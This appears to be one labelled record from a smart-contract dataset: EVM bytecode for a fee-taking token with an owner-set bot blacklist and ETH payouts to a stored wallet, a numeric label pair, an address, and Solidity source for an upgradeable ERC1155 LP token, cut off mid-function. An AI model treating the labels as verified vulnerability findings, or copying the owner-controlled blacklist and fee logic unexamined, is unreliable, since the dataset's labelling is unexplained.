6cb404cc8c18bf5591bc1598160405161207991906142ad565b60405180910390a150565b600f5481565b61209261260c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461211f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612116906148ca565b60405180910390fd5b84601360000181905550836013600101819055508160136003018190555082601360020181905550806013600401819055505050505050565b60006005600061216661260c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166121ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e490614e7e565b60405180910390fd5b828290508585905014612235576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222c90614f10565b60405180910390fd5b5b848490508110156122b9576122a561224c61260c565b86868481811061225f5761225e614ad1565b5b90506020020160208101906122749190614395565b633b9aca0086868681811061228c5761228b614ad1565b5b9050602002013561229d9190614a77565b600080613466565b6001816122b29190614f30565b9050612236565b5050505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6123a561260c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612432576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612429906148ca565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036124a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249890614ff8565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61256661260c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146125f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ea906148ca565b60405180910390fd5b633b9aca00816126039190614a77565b600e8190555050565b600033905090565b60005b838390508110156126b957600084848381811061263757612636614ad1565b5b905060200201602081019061264c9190614395565b905082600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505080806126b190615018565b915050612617565b50505050565b60005b838390508110156127645760008484838181106126e2576126e1614ad1565b5b90506020020160208101906126f79190614395565b905082600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050808061275c90615018565b9150506126c2565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036127d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d0906150d2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612848576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161283f90615164565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161292691906140f2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036129a2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612999906151f6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612a11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a0890615288565b60405180910390fd5b60008111612a54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a4b9061531a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603612ae5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612adc90615386565b60405180910390fd5b600080600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612b8c5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612bcb5750612b9b6118d9565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015612c0a5750612bda6118d9565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b9050612c146118d9565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015612c825750612c526118d9565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015612cdc5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15612dc557600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612d855750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b612dc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dbb90615418565b60405180910390fd5b5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480612e6a5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612eb557600e54831115612eb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612eab906154aa565b60405180910390fd5b5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015612f605750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8061300a5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156130095750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b5b1561301c576001915061301b6134ac565b5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156130c85750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561311e5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156131745750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561317e57600090505b61318b8585858486613466565b5050505050565b60008383111582906131da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131d191906141a6565b60405180910390fd5b50600083856131e991906154ca565b9050809150509392505050565b600080600061320361355d565b9150915061321a818361322190919063ffffffff16565b9250505090565b600061326383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506135aa565b905092915050565b600080828461327a9190614f30565b9050838110156132bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132b69061554a565b60405180910390fd5b8091505092915050565b60008060008060008060008060006132e08a61360d565b92509250925060008060006132fe8d86866132f96131f6565b613667565b9250925092508282828888889b509b509b509b509b509b5050505050505091939550919395565b600061336783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613192565b905092915050565b60005b82518110156134615760008382815181106133905761338f614ad1565b5b6020026020010151905082156133fd576001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061344d565b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff02191690555b50808061345990615018565b915050613372565b505050565b81601260146101000a81548160ff02191690831515021790555080601260156101000a81548160ff0219169083151502179055506134a58585856136f0565b5050505050565b60006134b730611237565b9050600f5481101580156134d85750600d60149054906101000a900460ff16155b80156134f05750600d60159054906101000a900460ff165b1561355a5760006135226064613514601860000154856138bb90919063ffffffff16565b61322190919063ffffffff16565b90506000613539828461332590919063ffffffff16565b9050600081111561354e5761354d81613935565b5b61355782613a0b565b50505b50565b600080600060085490506000600754905061358560075460085461322190919063ffffffff16565b82101561359d576008546007549350935050506135a6565b81819350935050505b9091565b600080831182906135f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135e891906141a6565b60405180910390fd5b50600083856136009190615599565b9050809150509392505050565b60008060008061361c85613abc565b9050600061362986613b3f565b9050600061365282613644858a61332590919063ffffffff16565b61332590919063ffffffff16565b90508083839550955095505050509193909250565b60008060008061368085896138bb90919063ffffffff16565b9050600061369786896138bb90919063ffffffff16565b905060006136ae87896138bb90919063ffffffff16565b905060006136d7826136c9858761332590919063ffffffff16565b61332590919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080600080600080613702876132c9565b95509550955095509550955061376086600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461332590919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506137f585600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461326b90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061384181613bf4565b61384b8483613cb1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516138a891906140f2565b60405180910390a3505050505050505050565b60008083036138cd576000905061392f565b600082846138db9190614a77565b90508284826138ea9190615599565b1461392a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016139219061563c565b60405180910390fd5b809150505b92915050565b6001600d60146101000a81548160ff021916908315150217905550600061396660028361322190919063ffffffff16565b9050600061397d828461332590919063ffffffff16565b9050600047905061398d83613ceb565b60006139a2824761332590919063ffffffff16565b90506139ae8382613f2e565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5618482856040516139e19392919061565c565b60405180910390a1505050506000600d60146101000a81548160ff02191690831515021790555050565b6001600d60146101000a81548160ff021916908315150217905550613a2f81613ceb565b6000479050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613a9c573d6000803e3d6000fd5b50506000600d60146101000a81548160ff02191690831515021790555050565b60008060009050601260149054906101000a900460ff1615613b11576013600001549050601260159054906101000a900460ff1615613b1057613b0d6013600201548261326b90919063ffffffff16565b90505b5b613b376064613b2983866138bb90919063ffffffff16565b61322190919063ffffffff16565b915050919050565b60008060009050601260149054906101000a900460ff1615613bc6576013600101549050601260159054906101000a900460ff1615613bc557613b906013600301548261326b90919063ffffffff16565b90506000613b9d846115f7565b90506010548110613bc357613bc06013600401548361326b90919063ffffffff16565b91505b505b5b613bec6064613bde83866138bb90919063ffffffff16565b61322190919063ffffffff16565b915050919050565b6000613bfe6131f6565b90506000613c1582846138bb90919063ffffffff16565b9050613c6981600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461326b90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b613cc68260085461332590919063ffffffff16565b600881905550613ce18160095461326b90919063ffffffff16565b6009819055505050565b6000600267ffffffffffffffff811115613d0857613d07614538565b5b604051908082528060200260200182016040528015613d365781602001602082028036833780820191505090505b5090503081600081518110613d4e57613d4d614ad1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613df5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613e199190614b15565b81600181518110613e2d57613e2c614ad1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613e9430600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461276a565b600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613ef89594939291906156ce565b600060405180830381600087803b158015613f1257600080fd5b505af1158015613f26573d6000803e3d6000fd5b505050505050565b613f5b30600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461276a565b600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613fa76118d9565b426040518863ffffffff1660e01b8152600401613fc996959493929190615728565b60606040518083038185885af1158015613fe7573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061400c9190615789565b5050505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b60008083601f84011261404c5761404b614027565b5b8235905067ffffffffffffffff8111156140695761406861402c565b5b60208301915083602082028301111561408557614084614031565b5b9250929050565b600080602083850312156140a3576140a261401d565b5b600083013567ffffffffffffffff8111156140c1576140c0614022565b5b6140cd85828601614036565b92509250509250929050565b6000819050919050565b6140ec816140d9565b82525050565b600060208201905061410760008301846140e3565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561414757808201518184015260208101905061412c565b83811115614156576000848401525b50505050565b6000601f19601f8301169050919050565b60006141788261410d565b6141828185614118565b9350614192818560208601614129565b61419b8161415c565b840191505092915050565b600060208201905081810360008301526141c0818461416d565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006141f3826141c8565b9050919050565b614203816141e8565b811461420e57600080fd5b50565b600081359050614220816141fa565b92915050565b61422f816140d9565b811461423a57600080fd5b50565b60008135905061424c81614226565b92915050565b600080604083850312156142695761426861401d565b5b600061427785828601614211565b92505060206142888582860161423d565b9150509250929050565b60008115159050919050565b6142a781614292565b82525050565b60006020820190506142c2600083018461429e565b92915050565b600060a0820190506142dd60008301886140e3565b6142ea60208301876140e3565b6142f760408301866140e3565b61430460608301856140e3565b61431160808301846140e3565b9695505050505050565b6000819050919050565b600061434061433b614336846141c8565b61431b565b6141c8565b9050919050565b600061435282614325565b9050919050565b600061436482614347565b9050919050565b61437481614359565b82525050565b600060208201905061438f600083018461436b565b92915050565b6000602082840312156143ab576143aa61401d565b5b60006143b984828501614211565b91505092915050565b6000806000606084860312156143db576143da61401d565b5b60006143e986828701614211565b93505060206143fa86828701614211565b925050604061440b8682870161423d565b9150509250925092565b60006020828403121561442b5761442a61401d565b5b60006144398482850161423d565b91505092915050565b600060ff82169050919050565b61445881614442565b82525050565b6000602082019050614473600083018461444f565b92915050565b61448281614292565b811461448d57600080fd5b50565b60008135905061449f81614479565b92915050565b600080604083850312156144bc576144bb61401d565b5b60006144ca8582860161423d565b92505060206144db85828601614490565b9150509250929050565b6144ee816141e8565b82525050565b600060208201905061450960008301846144e5565b92915050565b600060408201905061452460008301856140e3565b61453160208301846140e3565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6145708261415c565b810181811067ffffffffffffffff8211171561458f5761458e614538565b5b80604052505050565b60006145a2614013565b90506145ae8282614567565b919050565b600067ffffffffffffffff8211156145ce576145cd614538565b5b602082029050602081019050919050565b60006145f26145ed846145b3565b614598565b9050808382526020820190506020840283018581111561461557614614614031565b5b835b8181101561463e578061462a8882614211565b845260208401935050602081019050614617565b5050509392505050565b600082601f83011261465d5761465c614027565b5b813561466d8482602086016145df565b91505092915050565b60006020828403121561468c5761468b61401d565b5b600082013567ffffffffffffffff8111156146aa576146a9614022565b5b6146b684828501614648565b91505092915050565b6000602082840312156146d5576146d461401d565b5b60006146e384828501614490565b91505092915050565b600080600080600060a086880312156147085761470761401d565b5b60006147168882890161423d565b95505060206147278882890161423d565b94505060406147388882890161423d565b93505060606147498882890161423d565b925050608061475a8882890161423d565b9150509295509295909350565b60008083601f84011261477d5761477c614027565b5b8235905067ffffffffffffffff81111561479a5761479961402c565b5b6020830191508360208202830111156147b6576147b5614031565b5b9250929050565b600080600080604085870312156147d7576147d661401d565b5b600085013567ffffffffffffffff8111156147f5576147f4614022565b5b61480187828801614036565b9450945050602085013567ffffffffffffffff81111561482457614823614022565b5b61483087828801614767565b925092505092959194509250565b600080604083850312156148555761485461401d565b5b600061486385828601614211565b925050602061487485828601614211565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006148b4602083614118565b91506148bf8261487e565b602082019050919050565b600060208201905081810360008301526148e3816148a7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061493157607f821691505b602082108103614944576149436148ea565b5b50919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006149a6602a83614118565b91506149b18261494a565b604082019050919050565b600060208201905081810360008301526149d581614999565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b6000614a12601f83614118565b9150614a1d826149dc565b602082019050919050565b60006020820190508181036000830152614a4181614a05565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000614a82826140d9565b9150614a8d836140d9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614ac657614ac5614a48565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050614b0f816141fa565b92915050565b600060208284031215614b2b57614b2a61401d565b5b6000614b3984828501614b00565b91505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614b77816141e8565b82525050565b6000614b898383614b6e565b60208301905092915050565b6000602082019050919050565b6000614bad82614b42565b614bb78185614b4d565b9350614bc283614b5e565b8060005b83811015614bf3578151614bda8882614b7d565b9750614be583614b95565b925050600181019050614bc6565b5085935050505092915050565b6000604082019050614c1560008301856140e3565b8181036020830152614c278184614ba2565b90509392505050565b600067ffffffffffffffff821115614c4b57614c4a614538565b5b602082029050602081019050919050565b600081519050614c6b81614226565b92915050565b6000614c84614c7f84614c30565b614598565b90508083825260208201905060208402830185811115614ca757614ca6614031565b5b835b81811015614cd05780614cbc8882614c5c565b845260208401935050602081019050614ca9565b5050509392505050565b600082601f830112614cef57614cee614027565b5b8151614cff848260208601614c71565b91505092915050565b600060208284031215614d1e57614d1d61401d565b5b600082015167ffffffffffffffff811115614d3c57614d3b614022565b5b614d4884828501614cda565b91505092915050565b7f556e69737761705632506169722068617320616c7265616479206265656e207360008201527f6574000000000000000000000000000000000000000000000000000000000000602082015250565b6000614dad602283614118565b9150614db882614d51565b604082019050919050565b60006020820190508181036000830152614ddc81614da0565b9050919050565b6000604082019050614df860008301856144e5565b614e0560208301846144e5565b9392505050565b7f41697264726f702063616e206f6e6c7920626520646f6e65206279206578636c60008201527f756465642066726f6d2066656500000000000000000000000000000000000000602082015250565b6000614e68602d83614118565b9150614e7382614e0c565b604082019050919050565b60006020820190508181036000830152614e9781614e5b565b9050919050565b7f486f6c6465727320616e6420616d6f756e74206c656e677468206d757374206260008201527f65207468652073616d6500000000000000000000000000000000000000000000602082015250565b6000614efa602a83614118565b9150614f0582614e9e565b604082019050919050565b60006020820190508181036000830152614f2981614eed565b9050919050565b6000614f3b826140d9565b9150614f46836140d9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614f7b57614f7a614a48565b5b828201905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614fe2602683614118565b9150614fed82614f86565b604082019050919050565b6000602082019050818103600083015261501181614fd5565b9050919050565b6000615023826140d9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361505557615054614a48565b5b600182019050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006150bc602483614118565b91506150c782615060565b604082019050919050565b600060208201905081810360008301526150eb816150af565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061514e602283614118565b9150615159826150f2565b604082019050919050565b6000602082019050818103600083015261517d81615141565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006151e0602583614118565b91506151eb82615184565b604082019050919050565b6000602082019050818103600083015261520f816151d3565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000615272602383614118565b915061527d82615216565b604082019050919050565b600060208201905081810360008301526152a181615265565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000615304602983614118565b915061530f826152a8565b604082019050919050565b60006020820190508181036000830152615333816152f7565b9050919050565b7f556e697377617056325061697220686173206e6f74206265656e207365740000600082015250565b6000615370601e83614118565b915061537b8261533a565b602082019050919050565b6000602082019050818103600083015261539f81615363565b9050919050565b7f626f747320617265206e6f7420616c6c6f77656420746f2073656c6c206f722060008201527f7472616e7366657220746f6b656e730000000000000000000000000000000000602082015250565b6000615402602f83614118565b915061540d826153a6565b604082019050919050565b60006020820190508181036000830152615431816153f5565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b6000615494602883614118565b915061549f82615438565b604082019050919050565b600060208201905081810360008301526154c381615487565b9050919050565b60006154d5826140d9565b91506154e0836140d9565b9250828210156154f3576154f2614a48565b5b828203905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000615534601b83614118565b915061553f826154fe565b602082019050919050565b6000602082019050818103600083015261556381615527565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006155a4826140d9565b91506155af836140d9565b9250826155bf576155be61556a565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000615626602183614118565b9150615631826155ca565b604082019050919050565b6000602082019050818103600083015261565581615619565b9050919050565b600060608201905061567160008301866140e3565b61567e60208301856140e3565b61568b60408301846140e3565b949350505050565b6000819050919050565b60006156b86156b36156ae84615693565b61431b565b6140d9565b9050919050565b6156c88161569d565b82525050565b600060a0820190506156e360008301886140e3565b6156f060208301876156bf565b81810360408301526157028186614ba2565b905061571160608301856144e5565b61571e60808301846140e3565b9695505050505050565b600060c08201905061573d60008301896144e5565b61574a60208301886140e3565b61575760408301876156bf565b61576460608301866156bf565b61577160808301856144e5565b61577e60a08301846140e3565b979650505050505050565b6000806000606084860312156157a2576157a161401d565b5b60006157b086828701614c5c565b93505060206157c186828701614c5c565b92505060406157d286828701614c5c565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122016f5e6c5215240aac09f1a62ea489e5cde01fa71a69d2031c9963413107fa79864736f6c634300080d0033
[ 13, 5 ]
0xf2588b1ae0E76556d0d5249018f34cf2b8a39Ab0
// SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.7.6; import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC1155/ERC1155Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC1155/ERC1155BurnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC1155/ERC1155PausableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; contract LPToken is Initializable, ContextUpgradeable, AccessControlUpgradeable, ERC1155BurnableUpgradeable, ERC1155PausableUpgradeable { // 0xFFFFFFFF uint32 public constant MAX_INT_32 = type(uint32).max; // OxFFFFFFFFFFFFFFFF uint64 public constant MAX_INT_64 = type(uint64).max; // keccak256("MINTER_ROLE") bytes32 public constant MINTER_ROLE = 0x9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6; // keccak256("PAUSER_ROLE") bytes32 public constant PAUSER_ROLE = 0x65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a; mapping(uint64 => address) public amms; event AmmAddressSet(uint64 _ammId, address _ammAddress); function initialize(string memory uri) public virtual initializer { __LPToken_init(uri); } /** * @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE`, and `PAUSER_ROLE` to the account that * deploys the contract. */ function __LPToken_init(string memory uri) internal initializer { __Context_init_unchained(); __AccessControl_init_unchained(); __ERC165_init_unchained(); __ERC1155_init_unchained(uri); __ERC1155Burnable_init_unchained(); __Pausable_init_unchained(); __ERC1155Pausable_init_unchained(); __LPToken_init_unchained(); } function __LPToken_init_unchained() internal initializer { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(MINTER_ROLE, _msgSender()); _setupRole(PAUSER_ROLE, _msgSender()); } /** * @notice burns ERC1155 LP tokens * @param account the address of the user * @param id the id of the token * @param value the amount to be burned */ function burnFrom( address account, uint256 id, uint256 value ) external virtual { require( msg.sender == amms[uint64(id >> 192)] || account == _msgSender() || isApprovedForAll(account, _msgSender()), "LPToken: caller is not owner nor approved" ); _burn(account, id, value); } /** * @notice mints ERC1155 LP tokens * @param to the address of the user * @param _ammId the id of the AMM * @param _periodIndex the current period value * @param _pairId the index of the pair * @param amount units of token to mint * @return id for the LP Token */ function mint( address to, uint64 _ammId, uint64 _periodIndex, uint32 _pairId, uint256 amount, bytes memory data ) external returns (uint256 id) { require(hasRole(MINTER_ROLE, _msgSender()), "LPToken: must have minter role to mint"); id = _createId(_ammId, _periodIndex, _pairId); if (amms[_ammId] == address(0)) { amms[_ammId] = msg.sender; } _mint(to, id, amount, data); } /** * @dev Toggle pause/unpause for all token transfers. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function togglePause() external virtual { require(hasRole(PAUSER_ROLE, _msgSender()), "LPToken: must have pauser role to unpause"); paused() ? _unpause() : _pause(); } /** * @notice Getter for predicted Token ID * @param _ammId the id of the AMM * @param _periodIndex the current period value * @param _pairId the index of the pair * @return id for the LP Token */ function predictTokenId( uint256 _ammId, uint256 _periodIndex, uint256 _pairId ) external pure returns (uint256) { return _createId(_ammId, _periodIndex, _pairId); } /** * @notice Setter for AMM address * @param _ammId the id of the amm * @param _ammAddress the address of the amm */ function setAmmAddress(uint64 _ammId, address _ammAddress) external { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "LPToken: must have default admin role to set amm address"); amms[_ammId] = _ammAddress; emit AmmAddressSet(_ammId, _ammAddress); } /** * @notice Getter for AMM id * @param _id the id of the LP Token * @return AMM id */ function getAMMId(uint256 _id) external pure returns (uint64) { return uint64(_id >> 192); } /** * @notice Getter for PeriodIndex * @param _id the id of the LP Token * @return period index */ function getPeriodIndex(uint256 _id) external pure returns (uint64) { return uint64(_id >> 128) & MAX_INT_64; } /** * @notice Getter for PairId * @param _id the index of the Pair * @return pair index */ function getPairId(uint256 _id) external pure returns (uint32) { return uint32(_id >> 96) & MAX_INT_32; } /** * AMM -> first 64 bits * PeriodIndex -> next 64 bits * PairIndex -> next 32 bits * Reserved(for future use cases) -> last 96 bits * ---------------------------- * Total -> 256 bits * @notice Creates ID for the LP token * @param _ammId the id of the AMM * @param _periodIndex the current period value * @param _pairId the index of the pair * @return id for the LP Token */ function _createId( uint256 _ammId, uint256 _periodIndex, uint256 _pairId ) private pure returns (uint256) { return (_ammId << 192) | (_periodIndex << 128) | (_pairId << 96); } function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory 